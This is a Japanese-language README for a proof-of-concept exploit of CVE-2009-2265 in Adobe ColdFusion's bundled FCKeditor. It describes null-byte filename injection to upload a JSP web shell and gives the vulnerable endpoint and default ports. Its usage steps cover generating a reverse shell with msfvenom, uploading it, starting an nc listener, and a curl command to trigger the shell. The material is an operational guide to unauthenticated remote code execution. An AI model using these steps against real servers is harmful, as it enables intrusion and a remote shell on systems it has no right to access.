CVE-2009-2265 - Adobe ColdFusion RCE

ColdFusionに同梱されているFCKeditorコンポーネントにおける任意ファイルアップロードを悪用した、認証不要のリモートコード実行。ファイルアップロードエンドポイントはfilenameパラメータでヌルバイトインジェクションを受け付けるため、JSPウェブシェルをアップロードし、サーバーによって直接実行させることができる。

脆弱なバージョン

*ColdFusion 9.0は、FCKeditorコンポーネントが削除または更新されていない場合に脆弱です。

パッチ: Adobe Security Bulletin APSB09-09 (2009年7月)。

使用方法

スクリプト冒頭の変数を編集します:

lhost = 'YOUR_IP'
lport = 4444
rhost = 'TARGET_IP'
rport = 8500

実行:

python3 poc.py

スクリプトは以下を実行します:

1. msfvenomを介してJSPリバースシェルを生成
2. FCKeditorエンドポイントを介してターゲットにアップロード
3. lportでncリスナーを起動
4. シェルを自動的にトリガー

数秒以内にシェルが到達しない場合は、手動でトリガーしてください:

curl http://<rhost>:<rport>/userfiles/file/<filename>.jsp

ファイル名はアップロード後に標準出力に表示されます。

要件

msfvenom
netcat (nc)
python3

脆弱なエンドポイント

/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm

備考

• ColdFusionのデフォルトポートは8500 (HTTP) または8300 (HTTPS)
• アップロードされたファイルは/userfiles/file/に配置される
• CurrentFolderパラメータ内のヌルバイト(%00)がファイル名を切り捨てるため、 アップロードが.txtとして表示されても、サーバーはファイルを.jsp拡張子で保存する
• Windowsターゲットではシェルはcmd.exe、Linuxでは/bin/shとなる